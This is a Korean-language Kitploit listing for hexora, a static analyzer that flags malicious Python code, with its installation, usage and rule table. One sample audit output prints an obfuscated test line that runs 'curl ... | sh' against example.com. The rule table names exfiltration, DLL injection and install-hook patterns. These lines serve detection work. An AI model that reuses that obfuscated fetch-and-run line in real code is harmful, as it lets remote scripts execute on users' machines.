Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
hexora — 악성 Python 코드의 정적 분석 | Kitploit
도구/GitHubGitHub/rushter/hexora
Indicator of Compromise (IOC) ManagementStatic AnalysisVulnerability AnalysisCode AnalysisMalware AnalysisSupply Chain SecurityMachine Learning
GitHubrushter/hexora

hexora

악성 Python 코드의 정적 분석

저장소 보기
168813일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

hexora

PyPI - Version

Hexora는 Python 코드에서 악의적이고 유해한 패턴을 탐지하도록 설계된 정적 분석 도구입니다. 규칙 기반 정적 분석 엔진과 전체 소스 파일을 점수화하여 악성 또는 양성으로 분류하는 기계 학습 모델을 결합합니다.

다음과 같은 용도로 사용할 수 있습니다:

  • 프로젝트 종속성을 감사하여 잠재적인 공급망 공격 탐지
  • Pastebin, GitHub 또는 공개 디렉터리와 같은 플랫폼에서 발견된 악성 스크립트 탐지
  • 과거 보안 사고의 IoC 파일 분석
  • PyPi에 업로드된 새 패키지 감사
Hexora example

예제

출력 예제는 docs/examples.md 파일을 참조하십시오.

설치

Python 사용

Python 3.9+가 필요합니다.

root@kitploit:~
pip install hexora

uv 사용:

root@kitploit:~
uv tool install hexora

사용법

root@kitploit:~
hexora --help

단일 파일 감사

root@kitploit:~
>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

디렉터리 감사

root@kitploit:~
hexora audit --output-format terminal resources/test/

가상 환경의 패키지 감사

root@kitploit:~
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

여기서 python3.11은 가상 환경의 Python 버전입니다.

팁:

  • 특정 실행에서 --exclude를 사용하여 특정 규칙 코드(예: 잡음이 많은 임포트)를 억제합니다.
  • --min-confidence를 사용하여 신뢰도가 높은 결과에만 집중합니다.

신뢰도는 특정 코드 조각이 얼마나 악의적인지를 나타냅니다. 일부 라이브러리나 코드 조각은 합법적인 목적으로 사용되며, 합법적인 사용 사례와 악의적인 사용 사례를 구분하기 어렵습니다. 따라서 일부 매칭은 낮은 신뢰도를 갖습니다.

일부 규칙은 다양한 신뢰도 수준을 가질 수 있습니다. 확실하지 않은 경우 코드로 많은 규칙을 필터링하지 마십시오. 예를 들어, 코드 실행 및 셸 실행은 중간, 높음, 매우 높음 신뢰도를 가질 수 있습니다. 이는 코드가 실행되는 방식에 따라 다릅니다. 난독화 시도를 탐지하면 신뢰도를 높입니다.

예를 들어, 이 코드는 높은 신뢰도를 갖습니다:

root@kitploit:~
globals()["__builtins__"].eval("print(123)")

Python에서 사용

root@kitploit:~
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # 단일 파일 감사
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

악성 데이터셋 테스트

새 규칙을 개발할 때 malicious-software-packages-dataset과 같은 기존 악성 데이터셋을 사용할 수 있습니다.

복제 후 벤치마킹 도구를 데이터셋 디렉터리로 지정합니다:

root@kitploit:~
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

사용 가능한 규칙

새 규칙이 정기적으로 추가됩니다.

현재 사용 가능한 규칙은 다음과 같습니다:

크레딧

파싱을 위해 ruff 라이브러리의 AST 파서를 사용합니다.

도구 다운로드
코드이름설명
HX1000AppEnumeration의심스러운 애플리케이션 열거.
HX1010BrowserEnumeration의심스러운 브라우저 열거 (앱, 쿠키, 히스토리 등).
HX1020PathEnumeration의심스러운 경로 열거.
HX1030OSFingerprint의심스러운 OS 핑거프린팅.
HX2000ClipboardRead클립보드 읽기.
HX2010EnvAccess민감한 환경 변수에 접근.
HX2020ScreenshotCapture디스플레이 스크린샷 캡처.
HX3000CodeExec가능한 코드 실행.
HX3010ShellExec셸 명령 실행.
HX3040DLLInjection가능한 DLL 인젝션.
HX3050DangerousExec셸 명령 내에서 잠재적으로 위험한 명령 실행.
HX3060SuspiciousCall의심스러운 함수 호출.
HX4000ObfuscatedShellExec난독화된 셸 명령 실행 가능.
HX4010ObfuscatedCodeExec난독화된 코드 실행 가능.
HX5000DunderImport__import__의 의심스러운 사용.
HX5010SuspiciousImport의심스러운 임포트.
HX5020CtypesImport의심스러운 ctypes 임포트.
HX5030PickleImport의심스러운 pickle 임포트.
HX5040StructImport의심스러운 struct 임포트.
HX5050SocketImport의심스러운 socket 임포트.
HX5060MarshalImport의심스러운 marshal 임포트.
HX6000Base64String긴 Base64 인코딩 문자열 탐지; 가능한 코드 난독화.
HX6010HexedLiterals16진수 인코딩된 리터럴 목록 탐지; 가능한 페이로드.
HX6020HexedString긴 16진수 인코딩 문자열 탐지; 가능한 페이로드.
HX6030IntLiterals큰 정수 리터럴 목록 탐지; 가능한 코드 난독화.
HX6040CVEInLiteral리터럴에 CVE 식별자 포함.
HX6050SuspiciousLiteral의심스러운 리터럴 탐지; 가능한 데이터 열거.
HX6060PathTraversal의심스러운 경로 탐색.
HX6070BrowserExtension민감한 브라우저 확장 프로그램 열거.
HX6080WebHook의심스러운 웹훅 탐지. 가능한 데이터 유출.
HX6090TelegramToken문자열 리터럴에서 텔레그램 봇 토큰 탐지.
HX7000SuspiciousFunctionName의심스러운 함수 이름.
HX7010SuspiciousParameterName의심스러운 매개변수 이름.
HX7020SuspiciousVariable의심스러운 변수 이름.
HX9000DataExfiltration잠재적인 데이터 유출.
HX8000BinaryDownload의심스러운 바이너리 다운로드.
HX8010BuiltinsVariable의심스러운 내장 변수 사용.
HX8020SuspiciousComment의심스러운 주석.
HX8030SuspiciousWrite파일 시스템에 의심스러운 쓰기.
HX8040InstallHook의심스러운 설치 후크 설정.